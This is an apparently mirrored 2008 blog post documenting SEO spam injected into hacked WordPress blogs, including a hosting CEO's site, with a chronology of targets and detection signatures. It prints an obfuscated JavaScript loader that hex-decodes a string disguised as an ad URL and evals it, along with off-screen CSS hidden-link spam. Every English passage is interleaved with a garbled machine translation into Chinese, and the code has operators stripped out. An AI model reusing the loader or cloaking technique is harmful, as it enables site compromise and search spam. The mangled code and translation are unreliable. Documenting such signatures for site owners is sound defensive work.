Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II 马特希亚bluehost hostmonster首席执行官砍死再次-罢工二

Being Hacked by SEO spammer is seem like a yearly events at Mattheaton.com .被砍死的徐垃圾邮件发送者是好像每年的事件在mattheaton.com 。 Matt’s WordPress blog was first hijacked 2 months ago on 26 November 2007 (according to my record).马特的WordPress博客是第一次被劫2月前对2007年11月26日（根据我的记录） 。 You can digg my earlier post at → Matt Heaton BlueHost HostMonster CEO Official Blog Hacked .您可以digg我刚才的职位→ 马特希亚bluehost hostmonster首席执行官官方博客砍死 。

It’sa big embarrassment for bluehost & hostmonster hosting to have their CEO’s blog being spamride every year (since 2007) .这是大尴尬bluehost ＆ hostmonster主办，以他们的行政总裁的博客正在spamride每年（自2007年） 。 Drilling Matt Heaton’s with bad ads wont solves the Blackhat Spam issues, I will left that particulars part to my readers to speculate.钻井马特希亚的不良广告wont解决blackhat垃圾邮件的问题，我会离开的细节部分，以我的读者猜测。

Mattheaton Goro Spam Chronology mattheaton戈罗垃圾邮件年表

Wordpress.net.in GORO Spam Pattern wordpress.net.in戈罗垃圾邮件模式

• All the infected sites will stop being index by archive.org few months before the spam started.所有受感染的网站将被停止指数由archive.org之前的几个月，垃圾邮件的开始。
• From Nov 2007 to Jan 2008 (Right after Google Mass P3 De-rank fever) - The Blackhat Goro Spammer is targeting PR6 & PR7 sites running on WordPress (2.3.1 below) and on some rare case (tangonoticias.com) Joomla CMS (1.0.x)从2007年11月至2008年1月（右后， Google的大规模P3的德级发烧） -b lackhat戈罗垃圾邮件发送者的目标是p r6＆ p r7网站上运行的W ordPress（ 2 .3.1以下） ，以及在一些罕见病例（ t angonoticias.com） j oomla细胞质雄性不育（ 1.0.x ）
• I categorize this blackhat method as Sybil Attack i分类此blackhat方法sybil攻击
  

  A Sybil attack is one in which an attacker subverts the reputation system by creating a large number of pseudonymous entities, and using them to gain a disproportionately large influence. 1 sybil攻击是其中之一，在攻击者的声誉，破坏了制度，造就一大批匿名的实体，并利用它们争取一个大得不成比例的影响力。 A reputation system’s vulnerability to a Sybil attack depends on how cheaply Sybils can be generated, the degree to which the reputation system accepts input from entities that do not have a chain of trust linking them to a trusted entity, and whether the reputation system treats all entities identically.声誉制度的脆弱性，以1 sybil攻击视乎如何便宜sybils可以产生，在何种程度上的声誉，系统接受输入的实体不具备连锁的信任联系起来，到一个受信任的实体，以及是否声誉系统对待所有实体相同。

  - Derank and manipulate their victim host to boost their pharmaceutical products on Google Local Search Index (gaming Localrank for better SERP) -d erank和操纵他们的受害者东道国提高他们的药剂制品在G oogle本地搜索索引（游戏l ocalrank为更好地s erp）

• Goro signatures:戈罗签名：
  1. html div with id “goro”学的HTML ID为“戈罗”

      <div id="goro"> <a href=">...</a> </div> <div id="goro">的<a href="> ...</ 1 > < /学> 

  2. javascript function name “getme()” JavaScript函数的名称“ getme （ ） ”

      <script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (  idx; idx < len; idx  = 2,i  ){ var ch = parseInt(str.substr(idx, 2), 16); new_str  = String.fromCharCode((ch   i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script> <script type="text/javascript">功能getme （个STR ） （无功_ = str.indexof ('?');如果（ _ == -1 ）返回个STR ;无功伦= str.length ;无功new_str = ' ' ;无功= 1 ; （     _ ; _ <伦; _   = 2 ，我    ） （无功的CH = parseint （ str.substr （ _ ， 2 ） ， 16 ） ; new_str   = string.fromcharcode （ （甲烷 一） ％ 256 ） ; ） eval （ new_str ） ; ） getme （ ' http://pagead2.googlesyndication.com/pagead/show_ads.js?636d6071685f676c255d5a68385e565d545c612e64334d100e4d545652090a0e5252564840083d414a4641354c0ff83e3e3c32f306 ' ） ; < /脚本> 

  3. Output spam on WordPress wp_footer & wp_head hook输出垃圾邮件的WordPress wp_footer ＆ wp_head钩

Blackhat SEO Spamdexing Google Local Search Index blackhat徐spamdexing Google本地搜索指数

The below graph explain the Blackhat SEO Spamdexing methods for Manipulating Google Local SERP.下面的图解释blackhat徐spamdexing方法操纵Google本地serp 。

View Spamdexing Google Local Search Image鉴于spamdexing Google本地搜索的形象

Note: A blackhat at hoqwarts ;)注： 1 blackhat在hoqwarts ; ）

ScreenGrab screengrab

• mattheaton.com Jan 28 2008 (1009 x 6576 pixels) mattheaton.com 2008年1月28日 （ 1009 x 6576像素）
• brainwave-india.com Jan 28 2008 (1016 x 2306 pixels) 脑波- india.com 2008年1月28日 （ 1016 x 2306像素）
• Google Local Search Jan 28 2008 Spamdexing Results Google本地搜索2008年1月28日 spamdexing结果
• stc-israel.org.il Jan 28 2008 spamdexing page (hidden text) STC计算- israel.org.il 2008年1月28日 spamdexing页（隐藏文字）
• stc-israel.org.il Jan 28 2008 spamdexing page (text reveal) STC计算- israel.org.il 2008年1月28日 spamdexing （纯文字版显示）

Recent Update最近更新

• Feb 1, 2008 - we send a letter to matt@bluehost.com regarding this issue. 2008年2月1日 -我们写信给m att@bluehost.com关于这个问题。 Still waiting for his replies仍在等待他的答复
• Feb 3, 2008 - The Blackhat Goro Spammer change their target spamhost from http://www.brainwave-india.com (PR6) to http://www.thinkingphp.org (PR6) - Felix Geisendörfer . 2008年2月3日 -b lackhat戈罗垃圾邮件发送者改变他们的目标s pamhost从h ttp://www.brainwave-india.com（ p r6） h ttp://www.thinkingphp.org（ p r6） -费利克斯ge isendörfer。

   <div id="goro"><a href="http://www.thinkingphp.org/?read=796 ... prescription</a></div><script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (  idx; idx < len; idx  = 2,i  ){ var ch = parseInt(str.substr(idx, 2), 16); new_str  = String.fromCharCode((ch   i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script> <div id="goro"> <一href = “ http://www.thinkingphp.org/?read=796 ...处方< /一> < /学> <script type="text/javascript">功能getme （个STR ） （无功_ = str.indexof ('?');如果（ _ == -1 ）返回个STR ;无功伦= str.length ;无功new_str = '' ;无功= 1 ; （   _ ; _ <伦; _   = 2 ，我    ） （无功的CH = parseint （ str.substr （ _ ， 2 ） ， 16 ） ; new_str   = string.fromcharcode （型（ CH  一） ％ 256 ） ; ） eval （ new_str ） ; ） getme （ ' http://pagead2.googlesyndication.com/pagead/show_ads.js?636d6071685f676c255d5a68385e565d545c612e64334d100e4d545652090a0e5252564840083d414a4641354c0ff83e3e3c32f306 ' ） ; < /脚本> 

  thinkingphp.org blog is running on WordPress 2.3.2 . thinkingphp.org博客上运行的WordPress 2.3.2 。 We send him email regarding the Goro Spam hijack .我们给他的电子邮件就戈罗垃圾邮件劫持 。

• Feb 8th 2008 , There is no signature of Goro spam (tag with id goro) on Matt’s blog the blackhat is now using Inline CSS Position Overflow to hide the spams links ↓ redirect to zoorender.com (PR6) . 2008年2月8日 ，是没有签名的戈罗垃圾邮件（标记与编号戈罗）对马特的博客该blackhat是现在使用内置的CSS的立场溢出隐藏垃圾邮件的链接↓重定向到zoorender.com （ pr6 ） 。

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.zoorender.com/?discount=1776">buying .. <div style="left: -2227px; position: absolute; top: -3337px">的<a href="http://www.zoorender.com/?discount=1776">购买.. </div> < /学> 

• Feb 13th 2008 , Same methods as above (inline css cloacking) . 2008年2月13日 ，同样的方法如上（内嵌的CSS cloacking ） 。
  • HTML Code shown to a Regular Browser → 32,246 characters HTML代码显示，经常浏览器→ 32246字
  • HTML Code shown to Google Bot → 34,646 characters HTML代码表明， Google的建造，营运及移交→ 34646字

  redirect to blog.jensfranke.com (PR7) .重定向到blog.jensfranke.com （ pr7 ） 。

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://blog.jensfranke.com/?read=606">buy generic fi <div style="left: -2227px; position: absolute; top: -3337px">的<a href="http://blog.jensfranke.com/?read=606">购买通用Fi的 

• Feb 20th 2008 , CSS Cloacking redirect to http://www.entrepreneur27.org/ (PR6) . 2008年2月20日 ，以CSS cloacking重定向到http://www.entrepreneur27.org/ （ pr6 ） 。

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.entrepreneur27.org/?more=1591">bad side effects of viagra</a>&nbsp;<a href="http://www.entrepreneur27.org/?more=1592"> ... <div style="left: -2227px; position: absolute; top: -3337px">的<a href="http://www.entrepreneur27.org/?more=1591">不良的副作用，威而钢< /一>的<a href="http://www.entrepreneur27.org/?more=1592"> ... </div> < /学> 

• Feb 24th 2008 , CSS Cloacking redirect to http://www.latenightpc.com (PR5) . mattheaton-com-022408-source.txt 2008年2月24日 ，以CSS cloacking重定向到http://www.latenightpc.com （ pr5 ） 。 mattheaton - COM的022408 - source.txt
• Feb 26th 2008 , CSS Cloacking redirect to http://www.communitynext.com/ WordPress 2.3.3 (PR6) . mattheaton-com-022608-source.txt 2008年2月26日 ，以CSS cloacking重定向到http://www.communitynext.com/的WordPress 2.3.3 （ pr6 ） 。 mattheaton - COM的022608 - source.txt

Related Posts相关文章

• How to Removed wordpress.net.in Spam Injection 如何删除垃圾邮件wordpress.net.in注射液
• Matt Heaton BlueHost HostMonster CEO Official Blog Hacked 马特希亚bluehost hostmonster首席执行官官方博客砍死

External Links外部链接

• Bluehost & Hostmonster CEO’s Blog bluehost ＆ hostmonster行政总裁的博客
• National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities 国家漏洞数据库（ nvd ）就在WordPress 2.0 > 2.0.5漏洞
• Wikipedia → Spamdexing 维基百科→ spamdexing
• pseudo-flaw - more random wordpress blogs owned by seo spammers 伪缺陷-更随机W ordPressB logs的国有徐垃圾邮件发送者